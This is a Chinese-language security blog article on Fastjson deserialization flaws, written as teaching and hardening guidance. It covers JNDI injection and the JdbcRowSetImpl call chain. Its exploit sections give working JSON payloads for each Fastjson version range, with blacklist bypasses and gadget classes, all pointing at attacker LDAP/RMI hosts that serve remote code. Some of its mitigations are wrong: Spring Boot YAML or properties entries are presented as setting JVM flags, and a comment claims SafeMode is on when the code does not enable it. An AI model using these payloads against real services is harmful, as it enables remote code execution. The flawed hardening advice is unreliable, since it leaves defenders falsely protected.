Fastjson反序列化漏洞深度解析与利用和修复
Yu4xr安全 发表于 江西 技术文章 1846浏览 · 2024-12-04 07:18

Fastjson反序列化漏洞深度解析与利用和修复

1.漏洞原理

Fastjson 反序列化漏洞的核心在于其 autoType 功能。当 autoType 开启时,Fastjson 会根据 JSON 数据中的 @type 字段来实例化对应的 Java 对象。攻击者可以利用这个特性,将 @type 字段设置为恶意类的名称,并在 JSON 数据中传入恶意类的属性值,从而触发恶意类的 setter 方法,最终导致代码执行。

例一

// 假设存在一个 User 类
package org.example;

public class User {
    private int age;
    private String name;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge 被调用: " + age);
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println("setName 被调用: " + name);
        this.name = name;
    }
    @Override
    public String toString() {
        return "User{" +
                "age=" + age +
                ", name='" + name + '\'' +
                '}';
    }
}

// 解析指定类
String userJson = "{\"@type\":\"org.example.User\",\"age\":11,\"name\":\"xiaodi\"}";
User user = (User) JSON.parse(userJson);
System.out.println(user); // 输出 User{age=11, name='xiaodi'}
// 输出 setAge 被调用: 11
// 输出 setName 被调用: xiaodi

例二

String userJson ="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.2.103:1389/imfoer","autoCommit":"true"}";
 User user = (User)JSON.parse(userJson);
pase.object会反序列化@type对应的类JdbcRowSetImpl触发类JdbcRowSetImpl里面的set方法,将dataSourceName设置为"ldap://192.168.2.103:1389/imfoer"然后会触发lookup方法lookup方法会解析我们传入的jndi的payload从而造成最后的命令执行

2.利用方式jndi注入

JNDI(Java Naming and Directory Interface)是 Java 提供的一种命名和目录服务接口,可以用于查找和访问各种资源,例如数据源、远程对象等。JNDI 注入是指攻击者通过构造恶意的 JNDI 地址,使得应用程序在查找资源时加载并执行恶意代码。

2.1远程引用模式(基于jdk版本)

原理: 在 JDK 版本较低时,JNDI 支持从远程加载类,攻击者可以利用这一特性,将恶意类放在远程服务器上,并通过 JNDI 地址指向该远程类,从而实现远程代码执行。

java对象在jndi目录协议中的存储方式:

  • Java 序列化之后的数据
  • JNDI Reference
  • Marshalled 对象
  • Remote Location (新版本的 JDK > Java 1.8u191 已弃用)

远程加载类执行rce

Context ctx = new InitialContext();
ctx.lookup("ldap://attacker.com:1099/Evil");  // 这里将加载远程类

前提条件

解决remote远程的加载java对象的jndi注入,jdk之后的更新内容

Java 8u191版本之前默认允许加载远程类
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

Java 8u191+版本 自动禁用远程加载类
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");

所以远程引用模式只针对于java8u191之前的版本,其他的java版本要根据依赖。

利用方式

jndi payload生成:

工具推荐:Java-Chains/web-chains: Web 版 Java Payload 生成与漏洞利用工具,提供 Java 反序列化、Hessian 1/2 反序列化等 Payload 生成,以及 JNDI Exploit、Fake Mysql Exploit、JRMPListener 等相关利用

2.2反序列化模式(高版本的jdk版本的绕过)

依赖条件:依赖特定的第三方库(gadget chain)

工作原理:通过反序列化漏洞触发利用链

攻击前提:目标环境中存在可利用的反序列化库

并且: 如果代码中设置了禁止Jndi进行加载java对象的时候进行反序列化则不可以利用如:

System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false")     //禁止反序列化远程对象

但是默认是允许加载远程对象的

利用方式

在黑盒的情况不知道依赖包,但是已近知道了jndi注入点的情况下,首先使用工具探测反序列化链:

探测结果如下:

分析:推荐找一个好一点的dnslog平台,一些dnslog平台只能显示一页的数据,可以看到这里发现存在cc链,生成基于cc反序列化的jndi注入payload

2.3 本地引用模式 (Local Reference绕高版本jdk)

依赖条件: 目标环境中存在特定的类,这些类可以来自环境本身(如 Tomcat 服务器),也可以来自于依赖包中的类。

攻击前提: 目标环境必须包含攻击所需的类(如 Tomcat、Groovy 等)。

利用方式

利用本地已有的类(如 Tomcat 的 org.apache.naming.factory.BeanFactory)作为 Factory,通过 JNDI 注入实例化恶意类并执行恶意代码。

3. Exp 及不同版本漏洞利用

3.1 漏洞触发点:

Fastjson 反序列化漏洞的触发点主要集中在以下两个方法:

  • JSON.parseObject(): 将 JSON 字符串反序列化为 Java 对象。
  • JSON.parse(): 将 JSON 字符串解析为 JSON 对象,但在某些情况下(例如存在 @type 字段)也会触发反序列化。

3.2 fastjson不同版本的绕过历史

Fastjson 在不同版本中,针对 autoType 的安全限制有所不同,攻击者也需要使用不同的绕过技巧。autoType 是 Fastjson 中一个关键配置,用于控制是否自动进行类型转换,如果开启,攻击者可以通过 @type 字段指定任意类进行反序列化。

3.2.1 Fastjson 1.2.24 及之前的版本

  • 特点: autoType 默认开启,且没有严格的黑名单限制。

  • 利用方式: 直接利用 JdbcRowSetImpl 进行 JNDI 注入。

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.2.103:1389/imfoer","autoCommit":"true"}
    

    原理:

    • @type 指定反序列化的目标类为 com.sun.rowset.JdbcRowSetImpl。
    • dataSourceName 设置为恶意的 JNDI 地址,指向攻击者的 LDAP 服务器。
    • autoCommit 设置为 true,触发 JdbcRowSetImpl 的 connect 方法,进而触发 JNDI lookup 操作,实现远程代码执行。

3.2.2 Fastjson 1.2.25 - 1.2.41

  • 特点: autoType 默认关闭,但可以通过配置开启。引入了黑名单机制,但可以通过在类名前后加 "L" 和 ";" 绕过。

  • 利用方式 (autoTypeSupport 开启): 添加允许autotype的配置 并在在类名前后添加 "L" 和 ";"。

    {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.2.103:1389/imfoer","autoCommit":"true"}

    原理: Fastjson 在加载类时会去除类名前后的 "L" 和 ";",从而绕过黑名单校验。

3.2.3 Fastjson 1.2.42 - 1.2.47 通杀 Exp 方案 (autoTypeSupport 关闭):

  • 特点: autoType 默认关闭,黑名单机制加强,修复了之前 "L" 和 ";" 的绕过方式。

  • 利用方式: 直接利用 java.lang.Class 加载恶意类到缓存,绕过黑名单限制,autotype开不开启都可以利用。

    {
        "a": {
            "@type": "java.lang.Class",
            "val": "com.sun.rowset.JdbcRowSetImpl"
        },
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "ldap://192.168.139.1:1389/lvkr9r",
            "autoCommit": true
        }
    }
    

接下来的版本绕过就是通过反序列化其他的类来绕过限制:不再是JdbcRowSetImpl

3.2.4 fastjson <=1.2.62

1.前提条件

xbean依赖,手动开启autotype

2.exp

{
  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
  "AsText":"ldap://127.0.0.1:1099/exploit"
}";

3.2.5 fastjson<=1.2.66

1.前提条件

shiro依赖,手动开启autotype

2.exp

{
  "@type":"org.apache.shiro.jndi.JndiObjectFactory",
  "resourceName":"ldap://192.168.80.1:1389/Calc"
  }

3.3fastjson反序列化链的跟踪

JdbcRowSetImpl

3.3.1 利用条件:

  • Fastjson 版本 <= 1.2.47
  • autoTypeSupport 开启 或 通过 java.lang.Class 绕过黑名单限制

3.3.2 反序列化调用链 (Fastjson 部分):

JSON.parseObject()/JSON.parse()
    DefaultJSONParser.parse()
        DefaultJSONParser.parseObject()
            JavaBeanDeserializer.deserialze()
                FieldDeserializer.setValue()
                    TypeUtils.cast()
                        TypeUtils.loadClass()  // 加载 JdbcRowSetImpl 类 (或从缓存中获取)
                        JavaBeanDeserializer.deserialze()  // 反序列化 JdbcRowSetImpl 对象
                            FieldDeserializer.setValue()  // 设置 dataSourceName 属性
                            FieldDeserializer.setValue()  // 设置 autoCommit 属性
                                JdbcRowSetImpl.setAutoCommit(true)
                                    JdbcRowSetImpl.connect()
                                        JndiDataSource.getConnection()
                                            JndiContext.lookup("ldap://192.168.139.1:1389/Exploit")//JNDI注入
                                                // ... JNDI 服务器返回恶意 Reference 对象 ...
                                                // ... JdbcRowSetImpl 加载并实例化恶意对象 ...
                                                // ... 远程代码执行 ...

  1. 入口点: JSON.parseObject() 或 JSON.parse() 方法接收 JSON 字符串作为输入。
  2. JavaBeanDeserializer 反序列化:
    • 当解析到 @type 字段时,Fastjson 会根据 val 属性值(或直接根据 @type 值)加载对应的类。
      • 如果 autoTypeSupport 开启,且目标类不在黑名单中,则直接加载。
      • 如果 autoTypeSupport 关闭,则需要通过其他方式绕过黑名单,例如利用 java.lang.Class 将恶意类加载到缓存中。
    • TypeUtils.loadClass(): 加载或从缓存中获取 com.sun.rowset.JdbcRowSetImpl 类。
    • JavaBeanDeserializer.deserialze(): 创建 JdbcRowSetImpl 对象,并根据 JSON 数据设置对象的属性。
      • FieldDeserializer.setValue(): 分别设置 dataSourceName 和 autoCommit 属性。

3.3.3 JdbcRowSetImpl 执行链:

  1. 设置 autoCommit 属性: Fastjson 通过反射调用 JdbcRowSetImpl.setAutoCommit(true) 方法。
  2. 触发 connect 方法: setAutoCommit(true) 方法内部会调用 connect() 方法建立数据库连接。
  3. JNDI 注入:
    • JdbcRowSetImpl.connect() 方法会调用 this.getDataSource().getConnection() 获取数据库连接。
    • this.getDataSource() 会返回一个 JndiDataSource 对象(因为 dataSourceName 被设置为 JNDI URL)。
    • JndiDataSource.getConnection() 会调用 JndiContext.lookup(dataSourceName),触发 JNDI 查找。

4.加固修复方法

最好的加固办法是将fastjson更新到最新版本和将jdk的版本更新到jdk8u191及以上,但是在实际应用场景中因为一些特殊原因不能更新的情况下就可尝试以下的方法进行一个加固。

4.1. 禁用 JDK 的远程 JNDI 查找和反序列化模式

为了防止攻击者利用 JNDI 进行远程代码执行攻击,需要禁用 JNDI 的远程 Codebase 加载和反序列化功能。以下是几种常用的配置方式:

1.1 启动参数方式

java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
     -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
     -Dcom.sun.jndi.ldap.object.trustSerialData=false \
     -jar your-application.jar

说明:

  • com.sun.jndi.ldap.object.trustURLCodebase=false: 禁用 LDAP 协议远程加载 Codebase。
  • com.sun.jndi.rmi.object.trustURLCodebase=false: 禁用 RMI 协议远程加载 Codebase。
  • com.sun.jndi.ldap.object.trustSerialData=false: 禁止 LDAP 反序列化从 LDAP 服务器接收到的序列化数据。
  • 推荐使用启动参数方式,因为这种方式可以在应用启动时就生效,避免代码执行时被绕过。 此外,启动参数方式可以避免代码层面的修改,更易于部署和维护。

1.2 代码方式

public class JNDISecurityConfig {
  static {
    // 禁用 LDAP 远程加载 Codebase
    setPropertyIfAbsent("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    // 禁用 RMI 远程加载 Codebase
    setPropertyIfAbsent("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    // 禁止 LDAP 反序列化远程数据
    setPropertyIfAbsent("com.sun.jndi.ldap.object.trustSerialData", "false");
  }

  private static void setPropertyIfAbsent(String key, String value) {
    if (System.getProperty(key) == null) {
      System.setProperty(key, value);
    }
  }
}

说明:代码方式的缺点是,如果代码没有被执行到 (例如,在类加载之前就发生了 JNDI 查找),或者被绕过 (例如,攻击者可以控制类加载),那么配置将不会生效。

1.3 Spring Boot 配置文件方式 (application.yml 或 application.properties推荐这种方式)

application.yml:

spring:
  application:
    jvm:
      args:
        - "-Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
        - "-Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
        - "-Dcom.sun.jndi.ldap.object.trustSerialData=false"

application.properties:

spring.application.jvm.args=-Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
  -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
  -Dcom.sun.jndi.ldap.object.trustSerialData=false

说明:这种方式等同于启动参数方式,但更方便管理和配置,特别是在 Spring Boot 项目中。Spring Boot 会自动将这些 JVM 参数应用到应用程序中。

4.2. 禁用 Fastjson autotype 反序列化 @type 指定的类

2.1 全局禁用 (强烈推荐)

import com.alibaba.fastjson.parser.ParserConfig;
import javax.annotation.PostConstruct;
import org.springframework.context.annotation.Configuration;

@Configuration
public class FastjsonConfig {

  @PostConstruct
  public void init() {
    // 全局禁用autoType,并开启 SafeMode
    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  }
}

说明:setAutoTypeSupport(false): 全局禁用 autotype 功能,这是最安全的做法。全局禁用后,即使在代码中指定了 @type 也不会生效,更不可能被攻击缺点是业务会受到影响

4.3. 使用 @type 的情况下,配置 Fastjson 反序列化白名单类

如果您确实需要使用 @type,那么必须配置反序列化白名单类,以限制可被反序列化的类。

3.1 代码方式配置白名单 (推荐)

import com.alibaba.fastjson.parser.ParserConfig;
import javax.annotation.PostConstruct;
import org.springframework.context.annotation.Configuration;

@Configuration
public class FastjsonConfig {

  @PostConstruct
  public void init() {
    // 开启 autoType,并设置白名单
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    ParserConfig.getGlobalInstance().addAccept("com.example.model."); // 允许 com.example.model 包下的所有类
    ParserConfig.getGlobalInstance().addAccept("com.example.another.SpecificClass"); // 允许指定类
  }
}

说明:

  • ParserConfig.getGlobalInstance().setAutoTypeSupport(true): 开启 autotype 功能。
  • ParserConfig.getGlobalInstance().addAccept("com.example.model."): 添加白名单,允许 com.example.model 包下的所有类被反序列化。
  • ParserConfig.getGlobalInstance().addAccept("com.example.another.SpecificClass"): 添加指定类到白名单。

3.3 Spring Boot 配置文件方式配置白名单(推荐这种)

spring:
  application:
    jvm:
      args:
        - "-Dfastjson.parser.autoTypeAccept=com.example.model.exclass,com.example.another.SpecificClass"
0 条评论
某人
表情
可输入 255